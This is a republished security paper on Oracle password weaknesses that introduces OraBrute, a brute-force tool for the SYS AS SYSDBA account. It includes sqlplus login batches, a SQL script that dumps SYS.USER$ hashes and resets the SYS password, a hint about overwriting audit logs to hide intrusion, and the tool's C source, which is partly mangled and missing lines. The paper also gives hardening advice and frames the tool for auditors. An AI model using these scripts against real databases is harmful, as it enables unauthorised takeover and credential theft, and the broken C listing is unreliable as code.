Oracle Consulting Oracle Training Oracle Support Development
Oracle Books
SQL Server Books
IT Books
Job Interview Books
Rampant Horse Books
911 Series
Pedagogue Books

Oracle Software
Write for Rampant
Publish with Rampant
Rampant News
Rampant Authors
Rampant Staff
Oracle News
Oracle Forum
Oracle Tips
Articles by our Authors
Press Releases
SQL Server Books

Oracle 11g Books

Oracle tuning

Oracle training

Oracle support

Remote Oracle


Privacy Policy



Oracle Passwords and OraBrute

By Paul Wright

Paul Wright is the author of "Oracle Forensics" by Rampant TechPress.

This paper will discuss the weakness of Oracle passwords and how they are implemented with reference to a number of current security issues. Lastly this paper will introduce a tool to exploit this weakness in Oracle’s most privileged account.

Passwords currently represent a problem for Oracle databases in a number of ways. The first problem is the design of the password algorithm which is limited by the fact that the salt is the username for that password hash. This means that two users with the same username and password on two separate Oracle databases will have the same hash. These hashes are stored in a table within Oracle called SYS.USER$ and are accessible via a number of views such as DBA_USERS.

The algorithm is explained in the FAQ of the Special Ops chapter on Oracle by David Litchfield and Aaron Newman[1]. The original posting by the algorithm’s creator, Bob Baldwin, is at this URL:
The second problem is the limited character set of a standard Oracle password. Normal Oracle passwords can contain only alphanumeric characters, underscore “_”, dollar sign “$” and pound/hash sign “#”. The password is a maximum of 30 characters which means that the total permutations are 39 (26+10+3) to the power of 30, though it is slightly less due to these three facts:
  • Oracle discourages using “$” and “#” character in the password to avoid scripting errors.
  • The password cannot start with either “_”, “$”, “#” or any number.
  • The password cannot contain Oracle/SQL keywords like SELECT.

The point is that in a typical 8 character Oracle password there is not enough potential variation and due to the lack of a true salt, Oracle passwords are an easy target for password crackers.
The commonly used password cracker, “John The Ripper”[2] or “JTR” has been patched to enable Oracle password cracking.

The patch is available at this URL:

This patch works reasonably reliably but will be slow for complex passwords and functions intermittently on x86. The password testing process can be sped up by pre-computing the hash of every possible password. A pre-computed table correlating encrypted hashes to their plaintext password is often referred to as a Rainbow Table. As the salt is the username, a Rainbow Table for each username is required. This has been made easier by the fact that another patch has been written for Rainbow Crack [3] to enable support for easy Oracle Rainbow Table creation.

There are a number of Rainbow Table projects for Oracle passwords currently under development and Rainbow Tables have been created already for many of the default Oracle users. There are already services offering translation of hash/username pairs to the clear text password e.g. . The weakness of Oracle’s password implementation has also been discussed in a paper for SANS by Wright and Cid[4].
What this means is that users will need to make their password more difficult to crack, which is easy to do in Oracle as simply de-limiting the password in double quotes increases the choice of characters to include the additional ones below.
%  ^  @  $  *  (  )  _  +  ~  `  -  =  [  {  ]  }  \  |  ;  :  '  ,  <  .  >
So we could set the password as follows:
SQL> alter user sys identified by "%^@$*()_+~`-=[{}\|;:,<.>";
User altered
This makes the permutations possible in the password beyond the current capabilities of Rainbow Tables or JTR.
There are still some problems though as the next section will show.
Current issues pertaining to Oracle’s password implementation include the following:
It is the case that a unicode username causes the salt/username to the password algorithm to consist of just “?” characters. This renders the salting mechanism nearly useless and makes creating Rainbow Tables much easier for unicode usernames in Oracle databases. This has certainly been the case in Japanese Oracle databases experienced by the NGSSoftware development team.
The NLS_LANG variable should be set to the region being used (for that OS). Oracle support at Metalink[6] informs us that NLS_LANG should be set as follows.
If this were the case then the user would not be able to set a username with Japanese characters, which would circumvent the fact that the hashing algorithm does not deal with Japanese characters correctly. The main problem is that the variable is not set by default and is often not set by the DBA therefore decreasing the security of their passwords. The above variable should be set to prevent this issue.
On the 27th of November 2006 a posting by David Litchfield to the DBSEC mailing list [7] showed how to gain a user’s password from a combination of their password hash and a packet capture of their authentication using C code.

This is an important piece of research because there are a significant amount of DBA's in the field that rely on a complex quoted password as their main security measure. Current thinking about Rainbow Tables has been that simple passwords on known user names are beatable but complex quoted passwords with special characters are safe. This is not the case now that we have the ability to derive the password in the manner described by David.
There have been a number of ways of gaining access to the password hashes like the orapwd utility and many files at the operating system level, that are insecure by default and all give access to the hashes. SQL Injection through a Web application or privilege escalation via PL packages with Definer rights is a common way to gain unauthorised access to the password hashes. There are also user accounts that have access to the encrypted hashes which should not have access to the plain text password such as DBSNMP (with a default password of DBSNMP). DBSNMP is given the SELECT ANY CATALOG system privilege and is part of the Intelligent Agent functionality. Some users depend on the Intelligent Agent but the DBSNMP account will now need to be secured even more since anyone with access to the hashes is likely to be able to access local network packet capture of SQL*PLUS logons; from these two the password can be quickly derived using the C code previously mentioned.

Having to think about defending against some one with the DBA’s legitimate password is going to be a big change for DBA’s security strategies. This is going to require closer attention to securing SYS.USER$ table and network communications meaning that privileged SQL*PLUS connections will require SSH. This is the case no matter how complex the password is. In short, the hashes in USER$ should now be regarded as being close to plain text when devising a defence plan. The Oracle Hacker’s Handbook[8] by David Litchfield has more explanation about this technique.

Of course many Oracle DBA’s will have changed the passwords to default accounts like DBSNMP. If the account still exists with a new password the attacker could attempt brute forcing the password on connection to the database server listener. Problem with this is that the default lockout for each account is 10 failed logins and then it is locked. Guessing the password in 10 attempts should not be feasible.
However, there is one account that is not subject to the default 10 failed logins lockout, and that is the SYS account logging on AS SYSDBA.
This is the most privileged account in an Oracle database. It can do anything including starting and stopping the database, which SYS on its own cannot do. Even if SYS is locked, then SYS AS SYSDBA can still access the DB. It has been the author’s experience that DBA’s often do not set a complex enough password on the SYS account as they have already locked it. But by logging on as SYS AS SYSDBA it is not locked. It would be useful for a security auditor to be able to check the security of the SYS account in a time efficient manner. Alternatively for an attacker the SYS AS SYSDBA is an often overlooked method of gaining maximum privileges remotely without authorisation. The attacker would port scan the host to find the Oracle port and then run NGS SquirreL for Oracle SID guessing functionality to gain the SID. Then they could brute force the SYS AS SYSDBA account. Automating the remote brute forcing of this account is the subject of the rest of this paper.
This is the SQL*PLUS logon string that should be executed in order to logon as SYS AS SYSDBA.
sys/password1@orcl as sysdba      or without a tnsnames.ora sys/password1@ as sysdba
We can collect 30 of these logon statements into a batch file as below.
sqlplus –S –L “sys/password1@orcl as sysdba”@selectpassword.sql
sqlplus –S –L “sys/password2@orcl as sysdba”@selectpassword.sql
sqlplus –S –L “sys/password3@orcl as sysdba”@selectpassword.sql
sqlplus –S –L “sys/password4@orcl as sysdba”@selectpassword.sql
selectpassword.sql contents are as follows.
spool passwords.txt
select username, password from sys.user$;
alter user sys identified by password;
spool off
This simple PoC shows that there is no lockout on SYS AS SYSDBA by default on 10gR2 and that a brute force is feasible, which is concerning given that it is the most powerful account.
Interestingly SYS AS SYSDBA is not easy to access via ODBC and JDBC so programmatically automating a brute force login using password variables from a list is hampered, but a Windows console application in C can be made to call SQL*PLUS in a time efficient manner. This paper introduces OraBrute, a command line tool which will brute force the SYS AS SYSDBA account for as long as is needed. OraBrute is simple and fast so it will easily execute 10 attempts per second on an Intel 1.6GHZ laptop. OraBrute will exit when the account has been brute forced at which point it dumps the SYS.USER$ table to a local file as well as the brute forced password to Standard Out.
In order for a human being to remember their password it is usually a dictionary/number hybrid. Adding a context sensitive list to the top of password.txt will make the tool quicker in most cases. OraBrute comes with a starter password list. The C sleep function in OraBrute can be shortened down to 10-100 milliseconds by setting the <millisecondwait> parameter. This will need tuning to the network to make the tool run faster. Additionally, multiple instances of OraBrute on separate machines will speed up the process arithmetically i.e. two identical machines bruteforce the same account in half the time and so forth. From two 1.6GHZ laptops Orabrute averages approximately 2 million different password login attempts to SYS AS SYSDBA per day on the same listener.
OraBrute has been found to work very reliably over long periods. Again it should be remembered that DBA’s that have locked the SYS account already, may not have set a complex SYS password or changed it recently. When OraBrute finds the correct SYS password it will dump the password hashes locally and perform what ever SQL the user requires via the selectpassword.sql script e.g change the SYS password to a known value. Details of how to run OraBrute are at the end of this paper. 
Once an Attacker has gained privileged access they will need to cover their tracks. The login success will be audited by Oracle to the OS as part of its Mandatory Auditing. This could subsequently be deleted by the Attacker using UTL_FILE to navigate to the $ORACLE_HOME/rdbms/audit/audit.aud file and then overwriting the file [9]. 

There are a number of ways to secure against the threat of brute forcing the SYS AS SYSDBA account as exemplified by OraBrute.
  • Set a very secure password for any account that can logon “AS SYSDBA” which will mean quoting the password to enable special characters in a long password/phrase.
  • Audit this password setting process with OraBrute regularly.
  • The initialization parameter remote_login_passwordfile controls the use of the password file for privileged connections to the database. By default it is set to EXCLUSIVE. Set this parameter to NONE to prevent privileged connections except those originating from the server using OS authentication. (Reboot)
  • Additionally “alter system set audit_sys_operations=TRUE” (or equivalent) and set Listener Logging from off to on using
    LSNRCTL>set log_status on . It is worth archiving these logs for future forensic analysis if and when required [10].
“Why has Oracle put failed login lockout on default accounts but ommitted the most important one?” would be a good question. It may be so the DBA cannot be locked out by an Attacker trying to brute force their account. From a design perspective lockout of SYS AS SYSDBA should not be a disaster for the DBA as they should be able to access locally via the OS as OSDBA and then unlock the SYS account that way. It will be interesting to see how 11g deals with this design issue as it appears that Oracle is already planning to change the password algorithm considerably. It is about time. 
Contact  if you have any feedback about OraBrute or this paper.
[1] Secure OPS, Erik Pace Birkholz, Syngress Publishing, February 17, 2003
 ISBN-10: 1931836698
[2] John the Ripper by Solar Designer at
[3] Rainbow Crack Project
[4] Joshua Wright and Carlos Cid 2005
[5] Thomas Kyte’s “ASK TOM” Oracle helpdesk at
[6] Metalink article regarding regional environment variables.
[7] DBSEC mailing list at
[8] The Oracle Hacker’s Handbook, David Litchfield, Wiley and Sons, January 2007
ISBN: 978-0-470-08022-1
[9] Script to illustrate using UTL_FILE to overwrite an OS file
[10] Oracle Forensics, Paul Wright, Rampant Techpress, May 2007
ISBN 0-9776715-2-6
David Litchfield, Chris Anley, Rob Horton, John Heasman, Bill Grindlay, Alan Newson, David J Morgan, Peter Baker, Dominic Beecher and the Development Team at NGS have all been contributory to this paper and or OraBrute. Thanks.
OraBrute => a Poc SYS AS SYSDBA brute forcer.
OraBrute invocation: orabrute <hostip> <port> <sid> <millitimewait>
e.g. c:\>orabrute 1522 orcl 100
When OraBrute creates a file called thepasswordsare.txt then the SYS account password has been cracked.
This program requires the Oracle client, the compiled C code below, the password.txt password list as well as selectpassword.sql which contains the following SQL :
spool thepasswordsare.txt
select name, password from sys.user$;
--alter user sys identified by password;
spool off
Compile the following C code using  c:\>cl orabrute.cpp
#include "stdio.h"
#include "windows.h"
#include "strsafe.h"
char host[17];
char port[6];
char sid[31];
char password[31];
char millitimewait[6];
DWORD dwdmillitimewait;
char executecmd[4095];
int escape(char*dest, char*src) 
     int idest = 0, isrc = 0 ;
           if(src[isrc] == '\"') 
                dest[idest] = '\\';
                idest ++;
           dest[idest] = src[isrc];
           isrc ++;
           idest ++;
     return 1;
int main(int argc, char * argv[])
     SecureZeroMemory(host, sizeof( host ));
     SecureZeroMemory(port, sizeof( port ));
     SecureZeroMemory(sid, sizeof( sid ));
     SecureZeroMemory(password, sizeof( password ));
     SecureZeroMemory(millitimewait, sizeof( millitimewait ));
     FILE *pfile;
     UINT result;
     printf("Orabrute v 1.2 by Paul M. Wright, David J. Morgan and Chris Anley:\n orabrute <hostip> <port> <sid> <millitimewait>");
           printf("not enough arguments; command should be orabrute <hostip> <port> <sid> <millitimewait>");
           return 0;
     strncpy(host,argv[1],sizeof( host )-1);
    strncpy(port,argv[2],sizeof( port )-1);
     strncpy(sid,argv[3],sizeof( sid )-1);
     strncpy(millitimewait,argv[4],sizeof( millitimewait )-1);
           char buffer[4096];
           int numberofchars;
           dwdmillitimewait = atoi(millitimewait);
                numberofchars = 0;
                while( !feof(pfile) && ( numberofchars < sizeof( buffer ) - 1 ) )
                      if(buffer[numberofchars]=='\n' || buffer[numberofchars]==-1)
                if (numberofchars<30)
                      char tmpbuffer[256];
                      char tmphost[256];
                      char tmpport[256];
                      char tmpsid[256];
                      escape(tmpbuffer, buffer);
                      escape(tmphost, host);
                      escape(tmpport, port);
                      escape(tmpsid, sid);
                      StringCchPrintf(executecmd,sizeof( executecmd ) - 1,"sqlplus.exe -S -L \"SYS/%s@%s:%s/%s\" as sysdba @selectpassword.sql", tmpbuffer,  tmphost,  tmpport,  tmpsid);
                      result = WinExec(executecmd,SW_SHOWNORMAL);
                      FILE *poutputfile;
                      if (poutputfile != NULL)
                           char buffer[4096];
                           size_t count ;
                           count =fread(buffer,1,sizeof( buffer ) - 1,poutputfile);
                           printf("You will need to delete or move thepasswordsare.txt file before running again.");
                           return 0;
     return 0;
// EOF






 Copyright © 1996 -2017 by Burleson. All rights reserved.

Oracle® is the registered trademark of Oracle Corporation. SQL Server® is the registered trademark of Microsoft Corporation. 
Many of the designations used by computer vendors to distinguish their products are claimed as Trademarks